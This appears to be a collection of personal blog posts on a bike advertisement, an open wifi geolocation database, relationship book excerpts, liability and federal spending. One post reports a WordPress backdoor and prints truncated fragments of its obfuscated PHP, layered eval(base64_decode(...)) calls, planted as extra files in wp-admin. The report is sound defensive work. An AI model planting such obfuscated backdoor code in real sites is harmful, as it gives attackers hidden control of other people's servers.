guerrilla-marketing

A friend suggested I put a sign on my bike to advertise EveryoneDelivers.com. It was very simple and inexpensive to do. I made a sign using inkscape, took a PDF to kinko's and did a $0.50 color printout with a $2.00 laminate sleeve. That was zip-tied to the bike bucket and it's done. Now that the sign is on my bike, I'm aware of just how visible my bike is being locked up outside and how many places I take it in a normal day.

This photo is funny in that while the bike was parked out by the SW 9th carts, Portland Pedal Power showed up right next to it. The PPP seem to be having a successful summer and their cargo bikes are a fantastic form of advertising.

wordpress hack found

after month or two of living with a backdoor in the wordpress install on dailywireless.org, it has finally been found.

$ diff -r wordpress-2.8.4/ dailywireless.org/ ... Only in dailywireless.org/wp-admin: fonction.php Only in dailywireless.org/wp-admin: wp-conf.php Only in dailywireless.org/wp-admin: wp-links.php

a diff between dailywireless.org's wordpress code and stock 2.8.4 code showed no file differences but did show 3 untracked files. the ones listed above. they contain some highly obfusticated code which looks like

<?php $o="QAAAO29zams5Cg0nJztvgA6RyA68DoSdvYm5gb3M9JzWP8QSRJyU503Cb0AORBKYI2 Wrg0QAHBlRyZQDxvP4HASgNoQCQDnAQgC0oD8eb5TH2CjJS0AKAHTE46AADYGn0E hAoZ2I=";eval(base64_decode("JGxs...

which decodes into the first of numerous layers of base64 encoded php.

"$lll=0;eval(base64_decode(\"JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=\"));$ll=0;eval($lllllllllll(\"JGxsbGxsbGxsbGw9J29yZCc7\"));$llll=0;

once i had some of the code, i could google for it and found other people who have dealt with this kind of invasion before. the best resource I found is an automated web tool to decode the obfustication all the way down to the resultant PHP.

fonction.php decodes to this, and wp-conf.php decodes to this. wp-links.php was identical to wp-conf.php.

the backdoor was probably placed before the 2.8.4 upgrade using some older security hole. the backdoor remained after the 2.8.4 upgrade because the upgrade doesnt check for files that are outside the WP codebase.

Geomena.org Open Access Point GeoDatabase

A name has been chosen - Geomena. Based on the Phaenomena or an ancient catalog of stars. Since stars were used for navigation, it makes sense that this catalog of access points or radio beacons or stars has a similar name.

The first step is to implement the W3C geolocation API using server-side javascript in couchdb. The W3C documentation describes the javascript interface to the browser functionality which queries a location provider. The protocol between the browser and provider is not documented as far as I can tell. By using the google geolocation service and firefox/components/NetworkGeolocationProvider.js, I will try and decode the protocol into a specification.

*** WIFI GEO: provider url = https://www.google.com/loc/json

The first bit of information is the provider's URL. this is also available from about:config geo.wifi.uri

*** WIFI GEO: client sending: {"version":"1.1.0","access_token":"2:Av4G03EhCYVk0BSp:ToW-3shUvpFZ70wq","wifi_towers":[{"mac_address":"00-1c-df-66-ca-f6","ssid":"","signal_strength":-30}]}

The next bit obtained from the firefox log is the JSON packet sent to the location provider. There is an access token that I have yet to determine how to acquire. The most interesting part is that the reporting of multiple access points along with signal strength is already supported. Notice the 'wifi_towers' field is an array. Wifi positioning could increase in accuracy by taking into account multiple access points, as well as determine access points with bogus records.

$ curl --data '{"version":"1.1.0","wifi_towers":[{"mac_address":"00-1c-df-66-ca-f6","ssid":"","signal_strength":-31}]}' https://www.google.com/loc/json {"location": {"latitude":45.5165989,"longitude":-122.6307207,"accuracy":150.0}, "access_token":"2:3PfDbpb1YDCFoGhs:zSUG3BG4LJvUgaHA"}

Apparently the access token is ignored by google as the example curl data does not include an access key. I also tried "bogus" as the access key and still got a valid answer, along with a new token. I'll assume that anytime a token is given, it should be used for all subsequent requests.

An open wifi geodatabase

The Geode API from the W3C that allows browsers to determine their location by using the MAC address of the router or wifi access point is a quantum leap for geolocation services on the web. The location providers I know of are google and skyhook. I propose a geode-compatible web service as an alternative.

• Creative Commons licensed, including a dumpfile of the entire database (how wikipedia does it)
• Geode-compatible interface for drop-in replacement in modern browsers
• Each location is also represented as a page in a wiki, with a map + marker. The marker can be adjusted manually

a love letter

an imaginary but exemplary love letter taken from "How to be an Adult in Relationships / The Five Keys to Mindful Loving."

Our relationship seems to be getting serious now, and I'm happy about that. In the interest of keeping everything clear between us, I would like to share some things about myself. I'll begin with the qualities that are less appealing and then go on to others that may be more encouraging.

I want so much to love and be loved, but I have to admit that my fears make me fight it tooth and nail once it gets close to happening. I can only be loved by someone flexible enough to allow for such inadequacy. In fact, I can't be depended on for perfection in any area.

If you can only love someone who meets your specifications as a perfect mate, you won't want me. If you have a rigid definition of love, I won't fulfill it. I don't have a history of getting it right.

Most likely, I will not come through for you as often as you would like. I am often combative, especially when I notice that intimacy is beginning to happen. I may not always listen or even try to understand. I may not always be there for you when you need me. I may not accept you as you are. I may seduce you with my looks, my charms, my words, or sex, and then I may not deliver!

I look self-sufficient, but that is a facade. Underneath I am needy, scared, bereft, and lonely. I may lie or hide my true feelings; I may run from yours.

I may want a relationship for narcissistic reasons: to have you there for me when and as I want you. I may not be available for a true exchange. I may not welcome someone who comes with personal requirements. I will have to learn how to honor them, and it may take time. Do you have time?

I have noticed that with my distressed childhood background, the hill of relating slants quite steeply. I may be seeing one or both of my parents in you and may try to get you to give me what they gave me or could not give me.

I may try to control you. You will have to be on your toes to catch me in my many slippery ways of manipulating you. And if you do catch me and confront me about it, I may be so scared that I lash out at you for standing up to me. I may not be able to handle your freedom or your choices. I am jealous and even paranoid at times. It may be intolerable to me that you have close friends.

If you require someone who won't even make you cry, I'm the wrong one for you. I could hurt you.

You can only love me as I am, not as you need me to be. I'll disappoint you again and again as long as you expect me to meet your crieria. You can only love me unconditionally and with no guarantees that it will pay off to do so.

On the other hand, I can also offer you some valuable things, more valuable than what money can buy (which I may not always have much of). In each of these, I acknowledge my limitations and my commitment to work on them.

I know who I am, and I'm not ashamed to admit what I know. At the same time, I know it's in me to lie or hide to protect myself.

I'm working on myself. I'm looking for ways to love more authentically. I do this by trial and error, by asking and doing, by falling and rising, by busting myself and letting myself be busted, by being and becoming.

I want to love you the way you want to be loved, and I welcome your telling me how.

I'm always scanning my behavior to see exactly how I am controlling and demanding. And though I often don't notice, I welcome your saying "Ouch!" When I see how I offend, I make amends. I may hurt you, but it will never be with malice, only through oversight or because my scared ego is strangling my wish to be kind.

I'm trying to feel safer with vulnerability, with letting the truth come out, no matter how threatened it makes me feel. This is a work in progress, nowhere near completion. Perhaps you can even hear me opening right now in this honest - and embarrassing - presentation of myself. I'm not trying to look good. I want to be good enough to love honestly. I want to be transparent so that you can help me know where my work is.

Go by my performance not by my promises; review my history by calling my former spouses, partners, lovers, and friends. Then look for signs of change. Decide with your own eyes wide open; give an informed consent.

I won't disappoint you if you know me as a fallible human being with love to give and not much practice in giving it consistently but with a commitment to keep practicing. I can only be loved with all my faults, my efforts to amend them, and my failures to amend them. Accept me as I am, and love can happen between us.

I can only be loved by someone who loves me for my frailty, the extent of which will keep surprising both of us. I can only be loved by someone who loves me with my arrogant ego, with my shadow, and with all the scar tissue of my childhood. I can only be loved by someone who, like me, has let go of the belief that anyone can be perfect for someone else.

It will take guts an perseverance to be with me. You will need arms that can hold a frightened inner child without loosing respect for the outer adult. You will need eyes that can glimpse the terror that sometimes hides behind a mask of rage. You will need a heart that can bear pain and loss without losing trust in the love that is trying to find you.

I have lived too long in the past of "not enough" and the future of "not yet." I feel readier than ever for love in the here and now. I've fallen in love before, usually with an image of an ideal or a projection of a fantasy partner. But this time, I'd like to rise and stand in love with the real you. This time I will be working for a grade report on the five A's. Perhaps this is how we will not miss, you and I, love's many-splendored thing.

I close with these favorite words from Twelfth Night: "I have unclasped to thee the book even of my secret soul."

P.S. Don't be fooled by my eloquence. Sometimes I can be pretty rude.

healthy ego development

the development of an individuated ego requires the five As:

• Attention

  "Attention to you means engaged focus on you... Attentiveness means noticing and hearing words, feelings, and experience. In a moment of authentic attention, we feel that we are deeply and truly understood in what we say or do and who we are, with nothing left out"

• Acceptance

  "Acceptance means we are received respectfully with all our feelings, choices, and personal traits and supported through them. This makes us feel safe about knowing and giving ourselves to others. Our ability to be intimate grows in accordance with how safe we feel, and that safety is based primarily on how authentically we were accepted in early life. But even after we grow up, moments and months of acceptance by other adults can fill in some of what we may have missed as children."

• Appreciation

  "Appreciation gives depth to acceptance: 'I admire you; I delight in you; I prize you; I respect you; I acknowledge you and all your potential. I appreciate you as unique.' Is the following description of mindful appreciation familiar to you? Someone acknowledged and cherished your unconditional worth without envy or possisiveness, expressing these feelings verbally and non-verbally."

• Affection

  "To give an receive love is our primary need. ... The way we were loved in early life is the way we want to be loved all our lives. Most of us know just what it takes for us to feel loved. What we have to learn is how to ask for it. A partner is not a mind-reader so it is up to each of us to tell our partner what our brand of love is. ... if affection is only a strategy for sex, it is not intimate but manipulative. Affection includes nearness or loving presence. We receive real affection when someone is committed to being beside us often. This does not mean constant cohabitation but reliable availability. It is the opposite of abandoning and distancing."

• Allowing

  "In a good-enough holding environment in early life, I learn that it is safe to be myself, knowing and showing my deepest needs and wishes. This happens in a family with an embrace wide enough to include all of me. Given such a welcome in the world, I gain a sense of stability and coherence, and I develop a reliable source of self-support, a nuturant inner parent who knows how to tolerate my feelings, no matter how contradictory or painful they may be. I reach out for health relationships, that is, those that give me all five A's."

  "But not everyone has the benefit of such a childhood. Some parents set rigid structures on eating, sleeping, clothing, and grooming, all to suit their own needs or standards, rationalizing that such strictures are crucial to a child's health. In our childhood home it may have felt unsafe to be ourselves. We may have noticed that to be real meant losing the love of those from whom we needed it most. We may then have become whatever others neede us to be as the price of being loved. The false sense of self that resulted must eventually give way to a truer version if intimacy is ever to work for us. If it was never safe to be ourselves - if we had to conceal what we were - we may not really believe in our talents and virtues now, feeling like impostors and frauds. Trying to live in accord with the needs and wishes of others is like being a cygnet and trying to become a duck just because you find yourself living in a duck pond."

from "How to be an Adult in Relationships / The Five Keys to Mindful Loving" -- David Richo

liability

the grey areas of liability can be interesting to think about. how much of one's life can be defined in dollar terms? can damage occur where both parties are innocent?

situation: bicycle/car rock kick

say a bicycle is riding down the road along side an expensive car. a rock in the road is run over by by the bicyclist, unaware of its presence, and the angle is such that the rock is kicked up and scratches the car.

the damage is obvious, the scratch, but is there fault? is there a burden on the cyclist to repair the scratch? i say in this case there is not. if responsibly is dependent on decisions made then each operator was making good decisions to proceed down the road. it was not possible to forsee the rock therefore there is no choice that should have been made to prevent the damage.

at the same time, damage is done and assuming the car owner wants the scratch fixed, who should pay? the driver did nothing wrong and the cyclist did nothing wrong. i say the owner of the car is responsible for fixing the car because thats what ownership means, taking care of problems to the assets as they arise. its irrelevant where the rock came from. one could make the point that if the cyclist wasnt riding on the road at that time, the damage would not have occurred but the same case can be made for the car to take a different route that morning. its circumstantial.

lets say the bike operator was liable. what especially bothers me about that is it makes it impossible to live a simple low-cost life. if someone lives happily on $12k/year and makes decisions to not incur expenses, then biking down the street would become too much liability to incur. If a $50k mercedes gets its paint scratched and its $5k to repair, that would be a burden of gross disproportion to the bike operator's life, and it would be incurred without the operator making any bad choices.

aerobic or anaerobic emotions

one can go a long time without raising their heart rate. once the body starts running for example, there are noticeable changes. the saliva in the mouth feels different. feelings of hunger disappear. its as if the whole body can be a sponge or a pump for nutrients. to be seated or resting is slightly spongy so if the most activity you do is to walk from work to your car, you're never in 'pump' mode. its worth moving around some to feel that mode.

today i was thinking the same is true for emotions. im a listener. its my standard mode of interaction. if i were to look at the balance between listening and emoting, id say its 99% listening and 1% emoting. thats a bad day for me because there is a lot of feelings that dont get out. instead they go into the washing machine tub where they agitate and agitate for an indeterminate amount of time.

Obamarama

I voted for Barack Obama for the following reasons in priority order

• Preserve individual liberties

  The goals of the EFF.

• End the Iraq war

  That's what got this post started. How did this pullout date go unnoticed? We learn about it second hand by hearing about the Iraqis' respose. This is our mission accomplished date. Cheney said he was worried the pullout would mean the loss of what we've "gained" so far. I say it never should have started. Its a policial experiment, thats all. Yet it cost many lives. What I think of most are American soldiers who have lost limbs and yet come home and live out their lives. The "deciders" make their decisions based on social norms and the situation at hand. Bush and Cheney make take war seriously but they can put it out of their minds if even for a little while. It was an experiment and not worth a single soldier's life. Those now in a wheelchair will live with the consequences every day for the rest of their lives. i can see the rationalizations like "we did our best with the information at hand." and it makes me mad. This is the reason why I would not want my children in the military. The sacrifice is not valued enough by the decision makers. 'Acceptable losses'. 'Thats war for you'. If it were valued enough, we would not have gone to war since WWII, but we forget. We get scared. We have a giant industrial-war-machine that is too easy to give the Go order for.

  Now all that sacrifice is old news. I read a story that the fighting for american troops and dodging IEDs with their lives is now over. There is no grand reward and little meaning for the 6 years of physical and emotional scars for the survivors. We've created a whole new group of disabled veterans who should be supported by the government for the rest of their lives. In one news story suddenly *not fighting* is just the way it is. 'emboldening the enemy' and related concepts will have their chance to show their correctness in the next six months. My guess is that ending the fighting for US troops now is the right thing to do. By voting for Obama I saved soldiers lives. If Cheney were in the white house soldiers would still be dieing today. Thats a powerful choice. Even though I'm saddened by the damage done to date, I'm very happy that our role in this foreign war has now changed for the better.

• Reduce the size of government.

  Ok this is more of a pipe dream. One of the biggest lessons I learned from the Obama administration so far is that affiliation with the democratic party and the republican party is not as big of a distinction and I used to believe. Obama, the current congress, and the federal reserve has created more debt now that ever in the name of economic stimulation. The way congress creates and passes laws must be changed - see downsizedc's Read the Bills act and One Subject at a Time act.

federal government is too large

I was at the moon and sixpense yesterday to listen to @yuetsu play some gypsy jazz at an open jam session. @peteforsyth came too and we talked about deficit spending. Last night @brampitoyo was held in custody for most of the morning for not having his bus pass with him. Trimet's revenue from passenger fares is $60 million and only 20% of its total revenue. This got me thinking again about the federal budget.

I thought I was voting for fiscal responsibility when I voted for Obama. This budget summary on page 3 has some disturbing numbers. In 2008 the federal government took in $2.5 trilion dollars and spent $2.9 trillion. In 2009 the federal government took in $2.1 and spent $3.9 trililon dollars!! What kind of organization can spend more than it takes in? The kind that can print its own money. Its an involuntary tax to dilute the value of everyone's dollars by having the federal reserve create more cash out of thin air. In 2010 the estimated intake is $2.3 trillion and estimated outlay is $3.5 trillion.

Page 31 shows "Total, Gross federal debt". 2008 $9.9 trililon, 2009 $12.8 trillion, 2010 $14.4 trillion... it just keeps climbing. This is insane. We already owe 3 times our yearly income. If the federal government made $30,000 a year, its like having $120,000 in credit card debt and every year they look for a new card to max out. Its got to stop before a revolution or civil war is necessary to correct it.

What is encouraging but at the same time very confusing is this budget page which shows a 2009 deficit spending amount of $407 billion and 2010's deficit amount of $160 billion, with a budget surplus by 2012. That makes me feel like the world is a sane place again, but why does that page differ so greatly from the PDF?

If you look at Bush's last budget overview. The message is clear - war = safety. Its also harder to find simple totals of yearly intake and outlay. In 2008 (according to the Obama PDF document) $1.1 trillion of that $2.9 trillion outlay went to the military and $1.6 trillion went to everything else, and $253 billion in interest payments.

Also, support Downsize DC and their "Honest Money" bill. from their newsletter: "Most counterfeiters don't confess their crimes, but the Federal Reserve does. The Fed has just revised its March counterfeiting confession UPWARDS. When last we reported the basic money supply as of March stood at 1.644 trillion Now, as of an update on May 1st, the Fed has increased this number to 1.647 trillion, an increase of 3 billion additional counterfeit dollars. The January and February numbers have also been revised . . . HIGHER! Remember what this means -- every time the Fed creates new dollars your money becomes less valuable. Also remember that those who get the money first (mainly banks, borrowers, and those with government contracts) profit from this legalized counterfeiting at YOUR EXPENSE. How do you stop this? The easiest plan is to break the Fed's monopoly control over what you use for money. In the last Congress (110th), Congressman Ron Paul introduced three "Honest Money" bills . . ."